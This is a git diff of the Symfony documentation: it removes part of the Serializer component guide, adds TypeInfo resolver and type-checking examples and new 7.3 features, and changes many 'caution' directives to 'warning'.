-    */
-
-Instead of throwing an exception, a custom callable can be executed when the
-maximum depth is reached. This is especially useful when serializing entities
-having unique identifiers::
-
-    use Symfony\Component\Serializer\Annotation\MaxDepth;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class Foo
-    {
-        public int $id;
-
-        #[MaxDepth(1)]
-        public MyObj $child;
-    }
-
-    $level1 = new Foo();
-    $level1->id = 1;
-
-    $level2 = new Foo();
-    $level2->id = 2;
-    $level1->child = $level2;
-
-    $level3 = new Foo();
-    $level3->id = 3;
-    $level2->child = $level3;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
-        return '/foos/'.$innerObject->id;
-    };
-
-    $defaultContext = [
-        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
-    ];
-    $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer]);
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'id' => 1,
-        'child' => [
-            'id' => 2,
-            'child' => '/foos/3',
-        ],
-    ];
-    */
-
-Handling Arrays
----------------
-
-The Serializer component is capable of handling arrays of objects as well.
-Serializing arrays works just like serializing a single object::
-
-    use Acme\Person;
-
-    $person1 = new Person();
-    $person1->setName('foo');
-    $person1->setAge(99);
-    $person1->setSportsman(false);
-
-    $person2 = new Person();
-    $person2->setName('bar');
-    $person2->setAge(33);
-    $person2->setSportsman(true);
-
-    $persons = [$person1, $person2];
-    $data = $serializer->serialize($persons, 'json');
-
-    // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}]
-
-If you want to deserialize such a structure, you need to add the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-to the set of normalizers. By appending ``[]`` to the type parameter of the
-:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method,
-you indicate that you're expecting an array instead of a single object::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $serializer = new Serializer(
-        [new GetSetMethodNormalizer(), new ArrayDenormalizer()],
-        [new JsonEncoder()]
-    );
-
-    $data = ...; // The serialized data from the previous example
-    $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
-
-Handling Constructor Arguments
-------------------------------
-
-If the class constructor defines arguments, as usually happens with
-`Value Objects`_, the serializer won't be able to create the object if some
-arguments are missing. In those cases, use the ``default_constructor_arguments``
-context option::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class MyObj
-    {
-        public function __construct(
-            private string $foo,
-            private string $bar,
-        ) {
-        }
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(
-        ['foo' => 'Hello'],
-        'MyObj',
-        null,
-        [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
-            'MyObj' => ['foo' => '', 'bar' => ''],
-        ]]
-    );
-    // $data = new MyObj('Hello', '');
-
-Recursive Denormalization and Type Safety
------------------------------------------
-
-The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize
-complex types (objects). The type of the class' property will be guessed using the provided
-extractor and used to recursively denormalize the inner data.
-
-When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors.
-When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`,
-(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th
-parameter of the ``ObjectNormalizer``::
-
-    namespace Acme;
-
-    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class ObjectOuter
-    {
-        private ObjectInner $inner;
-        private \DateTimeInterface $date;
-
-        public function getInner(): ObjectInner
-        {
-            return $this->inner;
-        }
-
-        public function setInner(ObjectInner $inner): void
-        {
-            $this->inner = $inner;
-        }
-
-        public function getDate(): \DateTimeInterface
-        {
-            return $this->date;
-        }
-
-        public function setDate(\DateTimeInterface $date): void
-        {
-            $this->date = $date;
-        }
-    }
-
-    class ObjectInner
-    {
-        public string $foo;
-        public string $bar;
-    }
-
-    $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
-    $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]);
-
-    $obj = $serializer->denormalize(
-        ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'],
-        'Acme\ObjectOuter'
-    );
-
-    dump($obj->getInner()->foo); // 'foo'
-    dump($obj->getInner()->bar); // 'bar'
-    dump($obj->getDate()->format('Y-m-d')); // '1988-01-21'
-
-When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize
-matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but
-the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
-will be thrown. The type enforcement of the properties can be disabled by setting
-the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
-to ``true``.
-
-.. _serializer_interfaces-and-abstract-classes:
-
-Serializing Interfaces and Abstract Classes
--------------------------------------------
-
-When dealing with objects that are fairly similar or share properties, you may
-use interfaces or abstract classes. The Serializer component allows you to
-serialize and deserialize these objects using a *"discriminator class mapping"*.
-
-The discriminator is the field (in the serialized string) used to differentiate
-between the possible objects. In practice, when using the Serializer component,
-pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface`
-implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`.
-
-The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface``
-called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata`
-which uses the class metadata factory and a mapping configuration to serialize
-and deserialize objects of the correct class.
-
-When using this component inside a Symfony application and the class metadata factory is enabled
-as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your discriminator class mapping. Consider an application that
-defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository``
-and ``BitBucketCodeRepository`` classes:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App;
-
-        use App\BitBucketCodeRepository;
-        use App\GitHubCodeRepository;
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        #[DiscriminatorMap(typeProperty: 'type', mapping: [
-            'github' => GitHubCodeRepository::class,
-            'bitbucket' => BitBucketCodeRepository::class,
-        ])]
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\CodeRepository:
-            discriminator_map:
-                type_property: type
-                mapping:
-                    github: 'App\GitHubCodeRepository'
-                    bitbucket: 'App\BitBucketCodeRepository'
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\CodeRepository">
-                <discriminator-map type-property="type">
-                    <mapping type="github" class="App\GitHubCodeRepository"/>
-                    <mapping type="bitbucket" class="App\BitBucketCodeRepository"/>
-                </discriminator-map>
-            </class>
-        </serializer>
-
-.. note::
-
-    The values of the ``mapping`` array option must be strings.
-    Otherwise, they will be cast into strings automatically.
-
-Once configured, the serializer uses the mapping to pick the correct class::
-
-    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
-    // {"type": "github"}
-
-    $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
-    // instanceof GitHubCodeRepository
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /serializer
-
-.. seealso::
-
-    Normalizers for the Symfony Serializer Component supporting popular web API formats
-    (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project.
-
-.. seealso::
-
-    A popular alternative to the Symfony Serializer component is the third-party
-    library, `JMS serializer`_ (versions before ``v1.12.0`` were released under
-    the Apache license, so incompatible with GPLv2 projects).
-
-.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
-.. _`JMS serializer`: https://github.com/schmittjoh/serializer
-.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
-.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
-.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: https://www.json.org/json-en.html
-.. _XML: https://www.w3.org/XML/
-.. _YAML: https://yaml.org/
-.. _CSV: https://tools.ietf.org/html/rfc4180
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
-.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
-.. _`API Platform`: https://api-platform.com
-.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
-.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
-.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _$flags: https://www.php.net/manual/en/json.constants.php
-.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..47fe9dfd9ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,11 +11,6 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
-
-    This component is :doc:`experimental </contributing/code/experimental>` and
-    could be changed at any time without prior notice.
-
 Installation
 ------------
 
@@ -45,12 +40,24 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string::
+Resolvers
+~~~~~~~~~
+
+The second way to use the component is by using ``TypeInfo`` to resolve a type
+based on reflection or a simple string. This approach is designed for libraries
+that need a simple way to describe a class or anything with a type::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+        ) {
+        }
+    }
+
     // Instantiate a new resolver
     $typeResolver = TypeResolver::create();
 
@@ -63,12 +70,6 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example it returns an "array" Type instance);
-    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
-    // and for compound types (e.g. int|string) it throws an exception because both types
-    // can be considered the main one, so there's no way to pick one
-    $baseType = $type->getBaseType();
-
     // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();
@@ -81,6 +82,111 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-.. note::
+PHPDoc Parsing
+~~~~~~~~~~~~~~
+
+In many cases, you may not have cleanly typed properties or may need more precise
+type definitions provided by advanced PHPDoc. To achieve this, you can use a string
+resolver based on the PHPDoc annotations.
+
+First, run the command ``composer require phpstan/phpdoc-parser`` to install the
+PHP package required for string resolving. Then, follow these steps::
+
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+            /** @var string[] $tags */
+            public array $tags,
+        ) {
+        }
+    }
+
+    $typeResolver = TypeResolver::create();
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+
+Advanced Usages
+~~~~~~~~~~~~~~~
+
+The TypeInfo component provides various methods to manipulate and check types,
+depending on your needs.
+
+**Identify** a type::
+
+    // define a simple integer type
+    $type = Type::int();
+    // check if the type matches a specific identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // false
+
+    // define a union type (equivalent to PHP's int|string)
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type contains the string type
+    $type->isIdentifiedBy(TypeIdentifier::INT);    // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // true
+
+    class DummyParent {}
+    class Dummy extends DummyParent implements DummyInterface {}
+
+    // define an object type
+    $type = Type::object(Dummy::class);
+
+    // check if the type is an object or matches a specific class
+    $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
+    $type->isIdentifiedBy(Dummy::class);           // true
+    // check if it inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class);     // true
+    $type->isIdentifiedBy(DummyInterface::class);  // true
+
+Checking if a type **accepts a value**::
+
+    $type = Type::int();
+    // check if the type accepts a given value
+    $type->accepts(123); // true
+    $type->accepts('z'); // false
+
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type accepts either an int or a string value
+    $type->accepts(123); // true
+    $type->accepts('z'); // true
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\TypeInfo\\Type::accepts`
+    method was introduced in Symfony 7.3.
+
+Using callables for **complex checks**::
+
+    class Foo
+    {
+        private int $integer;
+        private string $string;
+        private ?float $float;
+    }
+
+    $reflClass = new \ReflectionClass(Foo::class);
+
+    $resolver = TypeResolver::create();
+    $integerType = $resolver->resolve($reflClass->getProperty('integer'));
+    $stringType = $resolver->resolve($reflClass->getProperty('string'));
+    $floatType = $resolver->resolve($reflClass->getProperty('float'));
+
+    // define a callable to validate non-nullable number types
+    $isNonNullableNumber = function (Type $type): bool {
+        if ($type->isNullable()) {
+            return false;
+        }
+
+        if ($type->isIdentifiedBy(TypeIdentifier::INT) || $type->isIdentifiedBy(TypeIdentifier::FLOAT)) {
+            return true;
+        }
+
+        return false;
+    };
 
-    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.
+    $integerType->isSatisfiedBy($isNonNullableNumber); // true
+    $stringType->isSatisfiedBy($isNonNullableNumber);  // false
+    $floatType->isSatisfiedBy($isNonNullableNumber);   // false
diff --git a/components/uid.rst b/components/uid.rst
index 73974ef8732..6c92fff0af9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -386,7 +386,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
@@ -574,7 +574,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using ULIDs as primary keys is usually not recommended for performance reasons.
     Although ULIDs don't suffer from index fragmentation issues (because the values
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index c1474c1710d..5b1448dfba1 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -171,7 +171,7 @@ You can set this custom implementation using
         ->setMetadataFactory(new CustomMetadataFactory(...))
         ->getValidator();
 
-.. caution::
+.. warning::
 
     Since you are using a custom metadata factory, you can't configure loaders
     and caches using the ``add*Mapping()`` methods anymore. You now have to
diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..58436adffc2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -428,6 +428,16 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Another valid representation of the ``null`` value is an empty string. You can
+use the ``DUMP_NULL_AS_EMPTY`` flag to dump null values as empty strings::
+
+    $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_EMPTY);
+    // foo:
+
+.. versionadded:: 7.3
+
+    The ``DUMP_NULL_AS_EMPTY`` flag was introduced in Symfony 7.3.
+
 Dumping Numeric Keys as Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration.rst b/configuration.rst
index 51ad9368098..35bc2fb7eec 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -267,7 +267,7 @@ reusable configuration value. By convention, parameters are defined under the
 
         // ...
 
-.. caution::
+.. warning::
 
     By default and when using XML configuration, the values between ``<parameter>``
     tags are not trimmed. This means that the value of the following parameter will be
@@ -379,7 +379,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
     By convention, parameters whose names start with a dot ``.`` (for example,
     ``.mailer.transport``), are available only during the container compilation.
-    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
 Configuration parameters are usually validation-free, but you can ensure that
@@ -809,7 +809,7 @@ Use environment variables in values by prefixing variables with ``$``:
     DB_USER=root
     DB_PASS=${DB_USER}pass # include the user as a password prefix
 
-.. caution::
+.. warning::
 
     The order is important when some env var depends on the value of other env
     vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
@@ -830,7 +830,7 @@ Embed commands via ``$()`` (not supported on Windows):
 
     START_TIME=$(date)
 
-.. caution::
+.. warning::
 
     Using ``$()`` might not work depending on your shell.
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index baf4037d05a..2e82104db66 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -687,7 +687,7 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
-    .. caution::
+    .. warning::
 
         In order to ease extraction of the resource from the URL, the leading
         ``/`` is trimmed from the ``path`` component.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c9739679f69..62e8c2d4128 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,7 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer symfony/framework-bundle symfony/runtime
+    $ composer require symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 512ea57f24d..ec8742213b5 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -229,7 +229,7 @@ but it should typically be added to your web server configuration.
     # .env
     APP_ID=api
 
-.. caution::
+.. warning::
 
     The value of this variable must match the application directory within
     ``apps/`` as it is used in the Kernel to load the specific application
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index d17b67aedba..e5dff35b6d0 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to
 You can also change the cache directory by defining an environment variable
 named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
-.. caution::
+.. warning::
 
     You should keep the cache directory different for each environment,
     otherwise some unexpected behavior may happen. Each environment generates
diff --git a/console.rst b/console.rst
index 57f322c983d..6a3ba70300f 100644
--- a/console.rst
+++ b/console.rst
@@ -366,7 +366,7 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
-.. caution::
+.. warning::
 
     Terminals only allow overwriting the visible content, so you must take into
     account the console height when trying to write/overwrite section contents.
@@ -531,13 +531,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
-.. caution::
+.. warning::
 
     When testing commands using the ``CommandTester`` class, console events are
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
-.. caution::
+.. warning::
 
     When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
     class, don't forget to disable the auto exit flag::
@@ -547,7 +547,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-.. caution::
+.. warning::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
     to them::
@@ -619,7 +619,7 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. caution::
+.. warning::
 
     When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
     component, add the ``--no-reset`` option to the command or you won't get any
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index c5bfc6e5a72..349f1357682 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -36,6 +36,9 @@ method)::
                 '--yell'  => true,
             ]);
 
+            // disable interactive behavior for the greet command
+            $greetInput->setInteractive(false);
+
             $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...
@@ -57,7 +60,7 @@ method)::
     ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
     events to be dispatched for that inner command as well.
 
-.. caution::
+.. warning::
 
     Note that all the commands will run in the same process and some of Symfony's
     built-in commands may not work well this way. For instance, the ``cache:clear``
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 64475bff103..74af9e17c15 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part
 of a third-party library, you don't want to modify or duplicate their code.
 Instead, you can run the command directly from the controller.
 
-.. caution::
+.. warning::
 
     In comparison with a direct call from the console, calling a command from
     a controller has a slight performance impact because of the request stack
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 75aa13d5be8..1393879a1df 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this
 class and everything works automatically! You can call the ``app:sunshine``
 command and start logging.
 
-.. caution::
+.. warning::
 
     You *do* have access to services in ``configure()``. However, if your command is
     not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any
@@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called.
 
     You don't need to call ``setName()`` for configuring the command when it is lazy.
 
-.. caution::
+.. warning::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
     However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
diff --git a/console/input.rst b/console/input.rst
index c038ace56fc..baf47c6fd15 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
 ``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
-.. caution::
+.. warning::
 
     While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index cff99a1554f..497c70fb01d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. caution::
+.. warning::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward
@@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call
 any of the methods that they declare. We guarantee that we won't break code that
 sticks to these rules.
 
-.. caution::
+.. warning::
 
     The exception to this rule are interfaces tagged with ``@internal``. Such
     interfaces should not be used or implemented.
@@ -89,7 +89,7 @@ Using our Classes
 All classes provided by Symfony may be instantiated and accessed through their
 public methods and properties.
 
-.. caution::
+.. warning::
 
     Classes, properties and methods that bear the tag ``@internal`` as well as
     the classes located in the various ``*\Tests\`` namespaces are an
@@ -146,7 +146,7 @@ Using our Traits
 
 All traits provided by Symfony may be used in your classes.
 
-.. caution::
+.. warning::
 
     The exception to this rule are traits tagged with ``@internal``. Such
     traits should not be used.
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index fba68617ee3..b0a46766026 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -4,7 +4,7 @@ Reporting a Bug
 Whenever you find a bug in Symfony, we kindly ask you to report it. It helps
 us make a better Symfony.
 
-.. caution::
+.. warning::
 
     If you think you've found a security issue, please use the special
     :doc:`procedure <security>` instead.
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 04740ce8c6e..27e4fd73ea0 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -67,6 +67,9 @@ issue):
 * **Adding new deprecations**: After a version reaches stability, new
   deprecations cannot be added anymore.
 
+* **Adding or updating annotations**: Adding or updating annotations (PHPDoc
+  annotations for instance) is not allowed; fixing them might be accepted.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index d933f3bcead..e81abe92b79 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -16,7 +16,7 @@ source code.
 If you want to learn more about this format, check out the `reStructuredText Primer`_
 tutorial and the `reStructuredText Reference`_.
 
-.. caution::
+.. warning::
 
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 420780d25f5..5e195d008fd 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -122,7 +122,7 @@ Example
         }
     }
 
-.. caution::
+.. warning::
 
     In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``),
     but this should not be done in Twig (e.g.  ``{'hello' : 'value'}``).
diff --git a/controller.rst b/controller.rst
index 4fd03948ae2..026e76ed0a6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,6 +443,26 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If you want to map your object to a nested array in your query using a specific key,
+set the ``key`` option in the ``#[MapQueryString]`` attribute::
+
+    use App\Model\SearchDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString(key: 'search')] SearchDto $searchDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The ``key`` option of ``#[MapQueryString]`` was introduced in Symfony 7.3.
+
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
@@ -788,6 +808,14 @@ response types.  Some of these are mentioned below. To learn more about the
 ``Request`` and ``Response`` (and different ``Response`` classes), see the
 :ref:`HttpFoundation component documentation <component-http-foundation-request>`.
 
+.. note::
+
+    Technically, a controller can return a value other than a ``Response``.
+    However, your application is responsible for transforming that value into a
+    ``Response`` object. This is handled using :doc:`events </event_dispatcher>`
+    (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`),
+    an advanced feature you'll learn about later.
+
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -890,7 +918,7 @@ method::
         {
             $response = $this->sendEarlyHints([
                 new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
-                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/style.css'))->withAttribute('as', 'style'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 
@@ -946,6 +974,6 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
-.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver
